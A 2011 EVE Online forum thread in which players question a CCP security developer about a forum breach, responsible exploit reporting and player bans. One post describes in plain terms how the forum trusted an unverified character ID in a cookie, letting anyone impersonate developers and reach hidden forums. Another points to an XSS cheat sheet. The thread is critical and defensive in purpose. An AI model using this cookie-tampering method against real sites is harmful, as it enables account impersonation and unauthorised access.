Posted - 2011.04.12 12:28:00 -
[157]
Originally by: Makko Gray I find it interesting that HTML could be injected into a signature but not script and really hope you do not look at the use of the script tag as the only indicator of script injection as it can also occur on HTML attributes and through various encoding techniques (some browser specific).
There are some good XSS cheat sheets you can check against for testing cross site scripting vectors such as this one: http://ha.ckers.org/xss.html
Also .NET & C# rocks as long as you know what your doing (ASP.NET WebForms is a bit sucky though).
In essence there was only an allowed subset of HTML rather than a disallowed subset.
We're aware of this website and I've used it myself in the past. Thanks for the tip though! |
|
Whitehound
The Whitehound Corporation Frontline Assembly Point
|
Posted - 2011.04.12 12:30:00 -
[158]
Originally by: Devblog From: [email protected] Subject: YOU GUYS ARE IDIOTS LMAO Body: Hey I just wanted to let you know how much you smell terrible and also how bad your posts are. I found a giant gaping hole in one of your systems. If you want to know how I did it you can go jump in a lake lmao!
And here is an example of a good exploit report:
From: [email protected] Subject: Important - Vulnerability found in System X ...
The good exploit reports need to be send to: [email protected]. In urgent cases can one send messages to: [email protected]. --
|
Dray
Caldari Euphoria Released Merciless.
|
Posted - 2011.04.12 12:43:00 -
[159]
Originally by: GKO but the way you are handling all this nerd rage is somehow special.
They are handling nerd rage the same way we all do, they're ignoring it.
What I know about web/forum coding is on a par with CCP's testing atm (<-- did you see what I did there?).
Joking aside there's a worry trend developing at CCP regarding quality and excellence which they were so proud of, I've had my fair share of rants and "nerd rage" because of what they've done in the past but it's never been enough to pack up and leave, the good has always out weighed the bad and tbh the bad was never close enough to tip the scales but as time goes on it's not as big a gap as it used to be, and if I'm brutally honest the current forum fiasco is bad but it wouldn't cause me to quit not even close to it.
The only thing in recent times that really made me sit up and think "wtf" was the inane comment about the research showing that more new content is better than fixing old problems in terms of taking the game forward during a Q&A at the fanfest, 2009 or 2010 I think, I could be wrong here but I'm guessing that the research that showed that would not hold up if Eve was the only game that it was applied to, simply because Eve is a very niche game, the average age of the player base and the sandbox nature of the game makes it a stand alone MMO for me, like I said I could be wrong but I honestly believe I'm not, and with that in mind that incident more than any other, not T20 or the train wreck of the new forums, is the single most worrying thing for me regarding CCP's attitude and the future of the game.
|
|
CCP Sreegs
|
Posted - 2011.04.12 12:59:00 -
[160]
Man long posts like this are really hard to respond to but I'll give it a shot ugh I hate this editor... :mad:
Originally by: Florestan Bronstein
The widespread perception in the shc thread was that the only way to get CCP to act fast is to publicize and exploit the vulnerabilities.
CCP has a long history of being extremely slow to react to exploits in other parts of the game (even exploits that are not just "bugs" such as the Monkeysphere incident).
One frequently voiced concern was that the new forums must be taken down before the weekend or else the risk of "serious" exploits getting into the wild would become too high.
Are you convinced that the forums would have been shut down on Friday/Saturday if you had just received a couple of bug reports?
I can't speak to perception I can only speak to my commitments to respond. I can tell you that any and all exploits sent to that email address are actioned on. I'm exploring opportunities internally to create an escalation path to me via other methods as well but for now that's what we have. Based on the timeline I have it was less than 30 minutes from the time I became aware of an exploit to the time the forums were taken offline the first time. Less than 5 minutes on the second round when I received an email.
Originally by: Florestan Bronstein At what times is [email protected] monitored? What's the maximum time you might not be aware of a vulnerability that has been forwarded to that mailbox?
It's monitored as long as I'm awake. I know that's a gap and as I said in the above comment I'm trying to sort out how to best bridge it. As it stands right now I'm a single point of failure, though to be fair I don't sleep much.
Originally by: Florestan Bronstein Do you really have the internal leverage to shut down central parts of the website when the exploit has not yet been observed in the wild?
In this particular instance I didn't have to test that but if I hadn't been able to get in touch with people I had the resources available to act on what needed to be acted on. This is really an internal process question that's kind of hard to answer, but from my perspective I've always done what I thought needed to be done in the course of my career and it hasn't served me wrong thus far.
Originally by: Florestan Bronstein There were some reports that parts of the exploits were applicable to EVE Gate - I remember someone mentioning that it is possible to write evemails from unsubscribed accounts etc - was EVE Gate not taken down because these claims are simply not true or because EVE Gate is a too central/integrated part of the EVE experience (and cost/benefit did not justify shutting it down)?
Eve Gate was not taken down because, to our knowledge, you can't do anything from EVE gate that is malicious. We've tested the email sending you're referring to and while I'm not saying it's impossible, we've never been able to duplicate it. We believe a user being able to post on the forums who shouldn't have may be related to the forums trusting the EVE Gate authentication. If you're aware of any real issues with EVE Gate then let me know but to date we've not found anything. I don't base my assessments on cost/benefits but rather risk.
Originally by: Florestan Bronstein Some people claimed part of the vulnerabilities had already been mentioned on forums and/or reported to CCP during the public testing of the new forums. Can you comment on that?
Not at this time. The post mortem analysis isn't done until after the existing incident is closed. That means any investigation of this nature is forthcoming, but not an afterthought.
I think I've already addressed script obfuscation and such but if that doesn't suffice let me know. I'm running out of space.
I'll give some thought to the idea in your edit.
|
|
|
|
CCP Sreegs
|
Posted - 2011.04.12 13:00:00 -
[161]
Originally by: Othran Apologies if this has been directly answered - I have looked and don't see it.
CCP Sreegs - did the security team test the new forums for common vulnerabilities before they went live?
I'd expect every company to pen test internet-facing assets prior to any deployment to a live environment. I'm just curious who, if anyone, was responsible for testing in this instance.
Third parties did do an assessment. The rest I can't comment on for the time being. |
|
Elvis Preslie
|
Posted - 2011.04.12 13:01:00 -
[162]
Originally by: Marconus Orion First in a soon to be rage thread.
This is a perfect example of spam, unsolicited post relating nothing to the subject, of the thread.
STOP MAKING POSTS unless you have something respectful or productive to say about the thread AND read all posts in the threads up until the one you're posting, to make sure you address all of them.
If you dont have something nice to say, dont say it.
|
Raid'En
|
Posted - 2011.04.12 13:02:00 -
[163]
Edited by: Raid''En on 12/04/2011 13:04:20
still raging about this event, but must admit that CCP Sreegs seems like a really cool guy.
the current whining level is however pretty high ; seems it's back to what is was before fanfest and the eve forever trailer who stfu everyone for a moment.
seems botting, which was one of the big rage at this moment, have currently a working answer but... was not enough. nullsec guys are still raging about ano change. we want more. more actions. more words. if we could have that much dev answers on other blogs it would be really cool.
forum whine level won't drop for long term before you give us, either a good bone, or something real. whiners won't listen if you don't do that. and something that is not here to make forget a mistake, not a + which is at the same time of a -, but a real +, with nothing to hide. ---------------- ** Wormhole Trading ** |
|
CCP Sreegs
|
Posted - 2011.04.12 13:05:00 -
[164]
Originally by: Ban Doga Edited by: Ban Doga on 12/04/2011 07:38:59
Originally by: Ban Doga Edited by: Ban Doga on 11/04/2011 09:53:23
Originally by: Bomberlocks We'll see what Sreegs posts in his blog, but I'm not entirely convinced that CCP will be honest as to the extent of the problem as I think it might open them up to possible legal problems.
The blog will reiterate the statements already made. This will include "injection of HTML", "user data was not at risk" and "security's job is to react to issues - not to prevent them by reading code". It will contain a more lengthy and (slightly) more detailed explanation of "What" happened but not "Why".
Questions regarding "Why" will be met with "Policy says 'No'", "I already explained that", "I say what I said" and "Asking about bans or warnings could get you a ban or warning yourself".
And I'll be delighted to be wrong...
Not too disappointed I wasn't wrong.
I find it a bit odd that you cast away that "the method by which your information would have been at risk would have been in the form of malware, session theft or keylogging of your local machine" with "it's always a best practice to keep your computers safe". If that's the stance on security could you please get someone to get rid of the "You are leaving CCP-land. Evil people might be trying to attack your computer." warning when following links in the forum. It's the same thing and you said "I'm stating outright that customer data was never at risk.". So I guess we don't need that warning...
I'm also wondering about your two example mails to report vulnerabilities. None of them state "I will continue" or "I will stop", yet you seem to imply the first one will continue but the second won't. What's the magic word/phrase/indicator here?
Do you also agreed that one has to make actual use of a (potential) exploit at least once to confirm it is there?
I'm really not quite sure what you're trying to say here aside from what appears to be a questioning of my honesty without any meat. While I'll be the first to admit I don't know everything there is to know in this world, I've put my cards on the table. If you're going to insinuate that I am incorrect I'd ask that you at least spend the time to say how instead of "your a liar".
Responsible exploit testing insinuates that you verify its existence then report it rather than continuing to abuse it. That's the line. If that's not clear enough or if you're uncertain as to your ability to draw that line then I'd posit that perhaps you're not in a position where you should be doing such things. |
|
Kristina Vanszar
Caldari
|
Posted - 2011.04.12 13:05:00 -
[165]
Originally by: CCP Sreegs
Originally by: Othran Apologies if this has been directly answered - I have looked and don't see it.
CCP Sreegs - did the security team test the new forums for common vulnerabilities before they went live?
I'd expect every company to pen test internet-facing assets prior to any deployment to a live environment. I'm just curious who, if anyone, was responsible for testing in this instance.
Third parties did do an assessment. The rest I can't comment on for the time being.
So some third partie... ?idiots? tested ?something? and CCP belived them? And as you can't comment, someones head has to roll....
|
Beerstien
Caldari Sanctum Scala Caeli Deus Malus
|
Posted - 2011.04.12 13:08:00 -
[166]
Originally by: CCP Sreegs
I could make up a completely arbitrary date that would mean nothing whatsoever if that would make you feel better?
Lol nice answer, keep up the good work =D
|
|
CCP Sreegs
|
Posted - 2011.04.12 13:14:00 -
[167]
Originally by: Moron78 I know crap about computers, forums and all. So for me, as a regular customer, this is an issue of trust. Since CCPs notice on the forums was rather scarce when the forum thing hit I did what I usually do for stuff CCP is being coy about, Kugu and Scrapheap. (Well, the latter no more.) Now as I said I donÆt know much about this, but what was shown to be done on SHC seemed really basic. Which I gather to be the gist of the discussion thread over on Kugu also.
And CCP let it past. Sreegs, you say in the blog that you havenÆt been able to get in scripts that would run malware, key loggers and stuff of those forums. But you are by no means sure. And you even very inelegantly try to put it on the end-used. (ôEven were someone able to have injected script the method by which your information would have been at risk would have been in the form of malware, session theft or keylogging of your local machine rather than some window into our secure environment.ö) Now to not get off track, I recognise that only to a very limited degree can CCP be responsible for what takes place at my computer. But, CCP made a forum where you are not ruling out that keyloggers etc could be embedded, and by leaving a rather obvious security hole for the computer savvy.
And regardless of that as I understand it the hole is by no means insignificant to CCP as it enabled reading of all subforums, including subforums where stuff potentially under NDA could be discussed. (IÆm assuming that NDA information may be discussed in the closed CMS forum.)
So, my question. If CCP let this slip by what else have you not been able to catch? I hope that this is a case of SreegsÆ department being bypassed in internal processes. But as Sreegs says, they arenÆt about to tell us. My issue with leaving this undisclosed is that I no longer have any trust in CCP when it comes to security measures. Why Sreegs would I trust you to rectify and make a secure forum- or anything else û when the last attempt potentially could have exposed end users and opened NDA information to the world?
I believe you misunderstand my statement. From a security perspective the only computer in the world you can be 100% certain of being secure is one that is in a vault and turned off. For me to come out and say EVERY SINGLE POSSIBLE EXPLOIT EVER WAS IMPOSSIBLE ON THE FORUM would be blowing sunshine up your rear. I'm not sure how you could decide that my suggestion that you change your information and run a scan "just in case" is placing the blame on the end user, but I'll just say it couldn't be farther from the truth. It's a precaution and one I think people should practice fairly often as there are a lot of sites on the internet that take things far less seriously than we do.
We've performed an audit of sensitive forums to see who saw what.
I'll ask that you not trust me personally to make a secure forum because I don't make forums. My role is to eradicate the problem and make certain you folks are aware of the situation while also handling an internal investigation. You don't have to remind us of the value of NDA'd information because it's our NDA. Nobody stands to lose more than CCP in that particular case. |
|
Niraia
Zaratha Zarati Shaktipat Revelators
|
Posted - 2011.04.12 13:14:00 -
[168]
Originally by: CCP Sreegs
Originally by: Othran Apologies if this has been directly answered - I have looked and don't see it.
CCP Sreegs - did the security team test the new forums for common vulnerabilities before they went live?
I'd expect every company to pen test internet-facing assets prior to any deployment to a live environment. I'm just curious who, if anyone, was responsible for testing in this instance.
Third parties did do an assessment. The rest I can't comment on for the time being.
Are they still being paid? Are the ******ed web developers who were responsible? How about the people who hired them?
I can't see how anyone can feel safe with this stuff, or confident in the company and its leadership, until the answer to each of those questions is no. -
shipsofeve.com eohpoker.com sanshasnation.net
|
|
CCP Sreegs
|
Posted - 2011.04.12 13:15:00 -
[169]
Originally by: Smagd Edited by: Smagd on 12/04/2011 08:59:35 Maybe I shouldn't say this, but my confidence is a bit shaken (not stirred).
I can quote at least two historic instances where people have been trying to point CCP to an issue, and no petition would help until someone went to the forums and made it public:
T20's Dev Hax would probably serve as a good example of how not to report issues, but Dark Shikari's Trade Window Scam is certainly an example of a correct way to do it - and it STILL took a forum threadnaught.
At this point I'm not really sure that any "procedures put in place" to make it easier to get CCP to listen actually works.
In the light of the current forum "cookie derp" I may have become a little hard to convince that emails sent to that fancy security email address are treated with any better priority sorting than critical petitions.
Better than "Hey that subject line looks important".
My intent is not to be rude, but I'd like to point out that the security email was established because I was concerned about the feedback loop. If you haven't used it I don't find encouraging others not to because a completely separate process hasn't worked in the past to be a very valid exercise. |
|
TLWE
Polish Lords' Confederacy
|
Posted - 2011.04.12 13:18:00 -
[170]
We all hope the new and even more improved now forums will be back soon. Thanks to your dedicated work and craftsmanship in... python. Python? Really? Oh well. Good work. Keep it up and do not give up. -- B=g, Honor, Nar=d. Semper Fidelis. Nec Hercules Contra Plures. |
|
|
CCP Sreegs
|
Posted - 2011.04.12 13:19:00 -
[171]
Originally by: Hel O'Ween What this whole damage control dev blog - and the discussion around it - happily ignores, is the fact that after the forums were taken down the first time and went online again with an assuring "we fixed it, everything's fine now" statement accompanying it, the problems were still there!
Only after another demonstration, they were put offline. How assuring is this for us?
Oh, and thank you very much for making clear that your paying customers are to blame for this, as they didn't write the petitions/bug reports in such a way that you don't have to do the research yourself. I'd suggest you scrap every report that has no compilable code attached to it. Anything else can't be taken serious.
I could be wrong but I seem to recall the statement being that the known exploits were fixed.
Nobody's ever insinuated that this is anything other than our fault so I apologize that you feel that was the case. |
|
Mister Rocknrolla
|
Posted - 2011.04.12 13:21:00 -
[172]
Originally by: CCP Sreegs
Responsible exploit testing insinuates that you verify its existence then report it rather than continuing to abuse it. That's the line. If that's not clear enough or if you're uncertain as to your ability to draw that line then I'd posit that perhaps you're not in a position where you should be doing such things.
^^This is the clearest definition on "is it abuse or is it testing a possible exploit" I've read.
|
Kristina Vanszar
Caldari
|
Posted - 2011.04.12 13:26:00 -
[173]
Originally by: Mister Rocknrolla
Originally by: CCP Sreegs
Responsible exploit testing insinuates that you verify its existence then report it rather than continuing to abuse it. That's the line. If that's not clear enough or if you're uncertain as to your ability to draw that line then I'd posit that perhaps you're not in a position where you should be doing such things.
^^This is the clearest definition on "is it abuse or is it testing a possible exploit" I've read.
Sorry to say that, but when i find a bug on some website, i am going as deep as possible into it, either there is no more deeper or the site is broken, happend 2 times this year, and the admins, were pretty much ****ed when i told them or when they noticed, but short ater they've been verry thankful.
So, i do not understand how you can create a line between testing and abusing,
for me abusing is, stealing informations, using the tool/site in a way to harm people.
I understand that you can not confirm that none of the "hidden" informations have been copied, so you're acting on a "we assume it has been stolen/copied" policy, is that right?
|
Whitehound
The Whitehound Corporation Frontline Assembly Point
|
Posted - 2011.04.12 13:32:00 -
[174]
Originally by: Niraia Are they still being paid? Are the ******ed web developers who were responsible? How about the people who hired them?
I can't see how anyone can feel safe with this stuff, or confident in the company and its leadership, until the answer to each of those questions is no.
I heard the punishment at CCP for failures is "to answer every stupid comment the community has to offer." --
|
Kepakh
|
Posted - 2011.04.12 13:32:00 -
[175]
Originally by: Raid'En
forum whine level won't drop for long term
Most of this fuss comes from lack of critical thinking and people blowing the issue out of proportion. Panic and paranoia is difficult to stop or control.
Errors happen, all the time and everywhere. Only what matters is the results of failure investigation and steps that will follow.
If I was missing or found not stressed enough in the blog, is a message that would try to calm people down and explain that web server security is more complex than injected HTML and that there are other layers and security measures to protect the server because that is what this is about - a few individuals making drama and spreading panic. The way the blog is written, it is more about the internal processes rather than security - which is the primary concern here and you basically got dragged into the drama.
|
Super Whopper
I can Has Cheeseburger
|
Posted - 2011.04.12 13:40:00 -
[176]
Sreegs, thank you very much for engaging the community like this. While I am usually (rightly) negative about CCP, I'd like to commend you for taking the time to respond to all these concerns. Also you are to be commended for trying to explain, albeit in basic details, how the flaw worked and the security of the new forums.
I would like to know whether the new forums allow the scaling of frames to fit all resolutions or whether they've been designed to fit 1280x1024 only.
|
Maplestone
|
Posted - 2011.04.12 13:46:00 -
[177]
One of the possible problems when news of an exploit goes public is that it creates an instant rumour mill that mutates the details wrong and generates false reports that then make it harder and harder to isolate which issues are real and which are urban myths being re-reported.
( *hangs head in shame for no particular reason* )
|
Daedalus II
Helios Research
|
Posted - 2011.04.12 13:52:00 -
[178]
Originally by: Whitehound
I heard the punishment at CCP for failures is "to answer every stupid comment the community has to offer."
No, it's defenestration, I saw that on youtube
___________ Interested in incursions? Join Helios Research! |
Othran
Brutor Tribe
|
Posted - 2011.04.12 13:58:00 -
[179]
Originally by: CCP Sreegs Third parties did do an assessment. The rest I can't comment on for the time being.
Thank you. I can read between the lines
|
Qordel
Caldari School of Applied Knowledge
|
Posted - 2011.04.12 13:58:00 -
[180]
Originally by: Herschel Yamamoto
The second problem was even dumber. The forum's method of telling what character you're posting as was a simple cleartext string in the cookie, of the type "lastSelectedCharacter=1840703239". Fair enough - it's a non-crazy way to remember which of your three toons to post as - except that the server just took the character ID and trusted it completely, with no checking. If I set my last ID to CCP Sreegs(which is the ID number I used above - they're easy to look up), then I could post as Sreegs, edit Sreegs' posts, and have access to all mod tools and hidden forums Sreegs can see...without ever having to actually log in to Sreegs' account. Just set your ID in the cookie, the server takes it as gospel without checking, and you're in as anyone you like.
Having the server verify it isn't enough, either. That would still be a sloppy solution. The real solution that they should have deployed (and which is pretty much Cookies/sessions-101) would be that the cookie should have contained NOTHING except a single salted hash key, so that even someone looking at the cookie would have no idea what data it contains. Not even the username or UID that it is regarding.
Then it's dead simple to match that hash key against the database of non-expired sessions and get any data you could possibly require on the server side.
I could see someone like myself who doesn't do webdev for a living making a mistake like that. Ignorance and all, you know (though almost any reference to how to handle sessions on the internet should explain it to a newbie). Professional web developers, however, should never ever make that mistake. That shoudn't be an after-release "oops". That should be a fundamental flaw that doesn't make it past the rough white-board sketch.
|
|
Jimmae
|
Posted - 2011.04.12 14:14:00 -
[181]
Edited by: Jimmae on 12/04/2011 14:14:24
Originally by: Qordel
Having the server verify it isn't enough, either. That would still be a sloppy solution. The real solution that they should have deployed (and which is pretty much Cookies/sessions-101) would be that the cookie should have contained NOTHING except a single salted hash key, so that even someone looking at the cookie would have no idea what data it contains. Not even the username or UID that it is regarding.
Then it's dead simple to match that hash key against the database of non-expired sessions and get any data you could possibly require on the server side.
I could see someone like myself who doesn't do webdev for a living making a mistake like that. Ignorance and all, you know (though almost any reference to how to handle sessions on the internet should explain it to a newbie). Professional web developers, however, should never ever make that mistake. That shoudn't be an after-release "oops". That should be a fundamental flaw that doesn't make it past the rough white-board sketch.
Couldn't help but notice that the session cookie (on this forum, so probably not on the new on either) is not HTTP-ONLY. That is one very basic but also very effective measure against session highjacking.
|
Qordel
Caldari School of Applied Knowledge
|
Posted - 2011.04.12 14:21:00 -
[182]
Edited by: Qordel on 12/04/2011 14:22:17
Originally by: Mynas Atoch Edited by: Mynas Atoch on 12/04/2011 09:08:00
I hadn't seen it all in one place before, but its really quite surprising that
a. CCP claim to have invested 72,000 man.hours...
b. to implement an off the shelf open source gplv2'd forum software YAF.net by adding an eve skin and their own account security, ...
The numbers seem inflated to me, also. 72,000 hours is 35 years of 40hr weeks. Before I started a career as a software engineer, I started a very popular and complex website that operated for over a dozen years and served over 100k worth of regular members with millions of dollars in transactions and almost a million transactions and another million forum messages.
To put it into perspective, it didn't take me 35 years worth of full time effort to produce something significantly more complex than modifying an open source forum application. It took me about six months, to go from having nearly zero knowledge and experience, to:
* Learn Perl. * Learn Apache. * Learn mod_perl for Apache. * Learn SQL. Specifically, Postgres. * Write the following software and functionality entirely from scratch: +---- Registration, login, authentication session system. +---- Account management system. +---- Private messaging system. +---- Forum system (including threaded discussions). +---- Market and transaction system for users to post and conduct transactions between each other as well as manage all of their transactions. +---- User feedback system (think eBay/Amazon auctions). +---- A bug reporting, tracking, and management system. +---- An image upload, editing, and archiving system. +---- A user profile/blog system. +---- An automated backup system. * Design the entire web interface. * Build a high-scale, high-availability 1U rackmount Debian-based server. * Deploy everything to a colo 600 miles south, in California.
I had zero security incidents and no additional personnel to help build or test any of this. I know that CCP's userbase is probably double or triple that size, but they also have far more resources and actual professionals who do for a living what I had no prior experience with at the time.
So, while I sympathize with situations like this from the developer side and also understand the anger and frustration and paranoia from the user side . . . I have to say that I am, ultimately, just completely baffled with how so much made it through to the final released product. Things that should have been caught on the drawing board, before a single line of code was written or added/modified. Much less, 72,000 man hours later.
|
Natalia Kovac
Minmatar Stimulus Rote Kapelle
|
Posted - 2011.04.12 14:33:00 -
[183]
Thanks Sreegs, that was a good blog. Yes the forum security was apparently terrible, but it's done now, and you have owned up and apologised.
What matters now is that we move forward, and you move forward, sort out the security issues, and this is important- listen to the community testing that was done and may be done in the future. Take as long as you need to test the system to destruction, and don't release the forums for general use as long as you are as absolutely certain as you can be that they are secure.
Cheers.
|
Qordel
Caldari School of Applied Knowledge
|
Posted - 2011.04.12 14:38:00 -
[184]
Originally by: Natalia Kovac Thanks Sreegs, that was a good blog. Yes the forum security was apparently terrible, but it's done now, and you have owned up and apologised.
What matters now is that we move forward, and you move forward, sort out the security issues, and this is important- listen to the community testing that was done and may be done in the future. Take as long as you need to test the system to destruction, and don't release the forums for general use as long as you are as absolutely certain as you can be that they are secure.
Cheers.
If there's one thing the EVE community does well, it's let bygones be bygones and get over perceived failures and slights. I'm sure this won't be an event that gets dragged out every day for the next six years. :)
|
Natalia Kovac
Minmatar Stimulus Rote Kapelle
|
Posted - 2011.04.12 14:45:00 -
[185]
Originally by: Qordel
Originally by: Natalia Kovac Thanks Sreegs, that was a good blog. Yes the forum security was apparently terrible, but it's done now, and you have owned up and apologised.
What matters now is that we move forward, and you move forward, sort out the security issues, and this is important- listen to the community testing that was done and may be done in the future. Take as long as you need to test the system to destruction, and don't release the forums for general use as long as you are as absolutely certain as you can be that they are secure.
Cheers.
If there's one thing the EVE community does well, it's let bygones be bygones and get over perceived failures and slights. I'm sure this won't be an event that gets dragged out every day for the next six years. :)
****ing Band of Developers amirite?
|
Gowan Hard
|
Posted - 2011.04.12 15:10:00 -
[186]
Originally by: CCP Sreegs
Originally by: Marconus Orion I know of one person you banned who tried to warn you guys. You ignored them until they showed it to your face where you could not ignore the problem any longer.
Bottom line is you killed the messenger and set the body on fire and tried to hide the ashes. In actuallity you should be praising them for bringing the issue to your attention and not doing bad things.
The question on everyones mind is; When will you be unbanning them?
We do not discuss administrative actions with anyone whatsoever. I can tell you that I have detailed quite clearly in the blog how to "warn" us without risking your account. I also gave a bit of insight into why it is that way. That's the only response I'm going to be able to give you on this subject.
Ban CCP Sreegs. He doesn't help solve things he's just a troll and a bad representation of CCP as a whole.
|
|
CCP Sreegs
|
Posted - 2011.04.12 15:14:00 -
[187]
Originally by: Gowan Hard
Originally by: CCP Sreegs
Originally by: Marconus Orion I know of one person you banned who tried to warn you guys. You ignored them until they showed it to your face where you could not ignore the problem any longer.
Bottom line is you killed the messenger and set the body on fire and tried to hide the ashes. In actuallity you should be praising them for bringing the issue to your attention and not doing bad things.
The question on everyones mind is; When will you be unbanning them?
We do not discuss administrative actions with anyone whatsoever. I can tell you that I have detailed quite clearly in the blog how to "warn" us without risking your account. I also gave a bit of insight into why it is that way. That's the only response I'm going to be able to give you on this subject.
Ban CCP Sreegs. He doesn't help solve things he's just a troll and a bad representation of CCP as a whole.
Now that's just hurtful. :( |
|
Qordel
Caldari School of Applied Knowledge
|
Posted - 2011.04.12 15:23:00 -
[188]
Edited by: Qordel on 12/04/2011 15:23:15
Originally by: Gowan Hard
Ban CCP Sreegs. He doesn't help solve things he's just a troll and a bad representation of CCP as a whole.
That's a great attitude to keep CCP willing to discuss anything with the public. I know that kind of response would really entice me to spend my late nights on a message board corresponding with people about something I have only limited input and/or control over as, you know, not the absolute ruler of CCP and all.
|
Mag's
the united Negative Ten.
|
Posted - 2011.04.12 15:29:00 -
[189]
I know you point out that there are good and bad ways, to report an exploit. I also understand the stance, of not discussing administrative actions.
That being said, one person did petition the issue at hand with details. The forum was taken down, only for it to go back up again, in the same sorry state. It was only a post from said banned person after this, that meant the forums were taken down again. Although he did break rules, it was in your best interest that he did.
Does this make it right, well no. But you all seemed so caught up with getting them back on asap, that you missed the point completely. He did want he deemed was the fastest most direct way, of pointing out that you had failed to heed the warnings.
How can we have any faith in the petition system, that this won't happen again? Many, many petitions get answered with a copy & paste reply, without the content seemingly even being read.
Originally by: Allestin Villimar Also, if your bookmarks are too far out, they can and will ban you for it.
Originally by: Torothanax Low population in w systems makes afk cloaking unattractive. |
Mara Villoso
|
Posted - 2011.04.12 15:36:00 -
[190]
When the forums come back up, will all our posts be deleted? I put quite a bit of work into the Shops and Services thread in the Sell Forums. It would be aggravating to have to reproduce it. I didn't get a chance to copy them before the forums were taken down. Thanks for any help/info you can provide. |
|
|
CCP Sreegs
|
Posted - 2011.04.12 15:39:00 -
[191]
Originally by: Mag's I know you point out that there are good and bad ways, to report an exploit. I also understand the stance, of not discussing administrative actions.
That being said, one person did petition the issue at hand with details. The forum was taken down, only for it to go back up again, in the same sorry state. It was only a post from said banned person after this, that meant the forums were taken down again. Although he did break rules, it was in your best interest that he did.
Does this make it right, well no. But you all seemed so caught up with getting them back on asap, that you missed the point completely. He did want he deemed was the fastest most direct way, of pointing out that you had failed to heed the warnings.
How can we have any faith in the petition system, that this won't happen again? Many, many petitions get answered with a copy & paste reply, without the content seemingly even being read.
The forums were actually brought back up in a different sorry state.
I can't discuss administrative actions means I can't discuss administrative actions, which means I can't discuss your speculation.
You can have faith in the fact that if you follow the procedures I outlined you'll never get into any trouble and I will see and action on your problem. I specifically gave the email because I'm still working on making sure things like this don't get lost in the petition system. |
|
|
CCP Sreegs
|
Posted - 2011.04.12 15:40:00 -
[192]
Originally by: Mara Villoso When the forums come back up, will all our posts be deleted? I put quite a bit of work into the Shops and Services thread in the Sell Forums. It would be aggravating to have to reproduce it. I didn't get a chance to copy them before the forums were taken down. Thanks for any help/info you can provide.
I really can't be certain about that at this point in time. I'm not involved in that process but hopefully those who are, are reading this thread and will be prepared to answer it when we're ready to discuss a relaunch. |
|
Mag's
the united Negative Ten.
|
Posted - 2011.04.12 15:51:00 -
[193]
Originally by: CCP Sreegs The forums were actually brought back up in a different sorry state.
I can't discuss administrative actions means I can't discuss administrative actions, which means I can't discuss your speculation.
You can have faith in the fact that if you follow the procedures I outlined you'll never get into any trouble and I will see and action on your problem. I specifically gave the email because I'm still working on making sure things like this don't get lost in the petition system.
Thanks for the reply. I wasn't wanting you to talk about admin stuff, it was more of a back lot to my point.
While having your email is great and dandy, many players don't frequent the forums as much, if ever. Their first recourse, would be the petition system. While this issue may not have affected that type of player, it still looks bad in regards to future issues. I do hope that your work will shake up and improve greatly, that system.
Originally by: Allestin Villimar Also, if your bookmarks are too far out, they can and will ban you for it.
Originally by: Torothanax Low population in w systems makes afk cloaking unattractive. |
mazzilliu
Caldari Sniggerdly Pandemic Legion
|
Posted - 2011.04.12 15:51:00 -
[194]
Originally by: CCP Sreegs
Originally by: Mag's I know you point out that there are good and bad ways, to report an exploit. I also understand the stance, of not discussing administrative actions.
That being said, one person did petition the issue at hand with details. The forum was taken down, only for it to go back up again, in the same sorry state. It was only a post from said banned person after this, that meant the forums were taken down again. Although he did break rules, it was in your best interest that he did.
Does this make it right, well no. But you all seemed so caught up with getting them back on asap, that you missed the point completely. He did want he deemed was the fastest most direct way, of pointing out that you had failed to heed the warnings.
How can we have any faith in the petition system, that this won't happen again? Many, many petitions get answered with a copy & paste reply, without the content seemingly even being read.
The forums were actually brought back up in a different sorry state.
I can't discuss administrative actions means I can't discuss administrative actions, which means I can't discuss your speculation.
You can have faith in the fact that if you follow the procedures I outlined you'll never get into any trouble and I will see and action on your problem. I specifically gave the email because I'm still working on making sure things like this don't get lost in the petition system.
confirming the security email is the way to go. issues ive reported in the past got addressed and the fact that i'm not banned does say something.
|
Ban Doga
|
Posted - 2011.04.12 16:25:00 -
[195]
Edited by: Ban Doga on 12/04/2011 16:26:24
Originally by: CCP Sreegs
Originally by: Ban Doga Edited by: Ban Doga on 12/04/2011 07:38:59 Not too disappointed I wasn't wrong.
I find it a bit odd that you cast away that "the method by which your information would have been at risk would have been in the form of malware, session theft or keylogging of your local machine" with "it's always a best practice to keep your computers safe". If that's the stance on security could you please get someone to get rid of the "You are leaving CCP-land. Evil people might be trying to attack your computer." warning when following links in the forum. It's the same thing and you said "I'm stating outright that customer data was never at risk.". So I guess we don't need that warning...
I'm also wondering about your two example mails to report vulnerabilities. None of them state "I will continue" or "I will stop", yet you seem to imply the first one will continue but the second won't. What's the magic word/phrase/indicator here?
Do you also agreed that one has to make actual use of a (potential) exploit at least once to confirm it is there?
I'm really not quite sure what you're trying to say here aside from what appears to be a questioning of my honesty without any meat. While I'll be the first to admit I don't know everything there is to know in this world, I've put my cards on the table. If you're going to insinuate that I am incorrect I'd ask that you at least spend the time to say how instead of "your a liar".
Responsible exploit testing insinuates that you verify its existence then report it rather than continuing to abuse it. That's the line. If that's not clear enough or if you're uncertain as to your ability to draw that line then I'd posit that perhaps you're not in a position where you should be doing such things.
I didn't call you a liar, neither indirectly nor directly. At least it was not intended and I'm sorry if you thought so (and I'd certainly like to know what made you think so). I can assure you that I'd have no problem to call anyone a liar if I thought this was the case. I was merely saying that your blog did not contain anything that wasn't already known before. I don't see how that insinuates that anything you wrote is incorrect.
Of course you are welcome to speculate about my intentions, abilities and actions, but that doesn't really have anything to do with the issue at hand.
I think this is quite a unique opportunity for CCP and especially you: We have quite a case of "Derp" (if I may borrow your title) and people are looking at you, asking "How do we handle this in the future?". Don't assume everyone's out to prove you wrong, but maybe try to see this as a chance to create a set of rules for approaching situations like these.
I'm sure it's not an easy process at all and I'm also sure some other work you should be doing right now is not getting done. But eventually this will/can lead to "CCP Sreegs said this is wrong - so it is!" and the more things you/we can get down to easy to understand/follow rules the easier it will become for everyone. (No, I'm not saying please explain "That's the line." in simple terms for me again right now)
|
|
CCP Sreegs
|
Posted - 2011.04.12 16:29:00 -
[196]
Originally by: Ban Doga
I didn't call you a liar, neither indirectly nor directly. At least it was not intended and I'm sorry if you thought so (and I'd certainly like to know what made you think so). I can assure you that I'd have no problem to call anyone a liar if I thought this was the case. I was merely saying that your blog did not contain anything that wasn't already known before. I don't see how that insinuates that anything you wrote is incorrect.
Of course you are welcome to speculate about my intentions, abilities and actions, but that doesn't really have anything to do with the issue at hand.
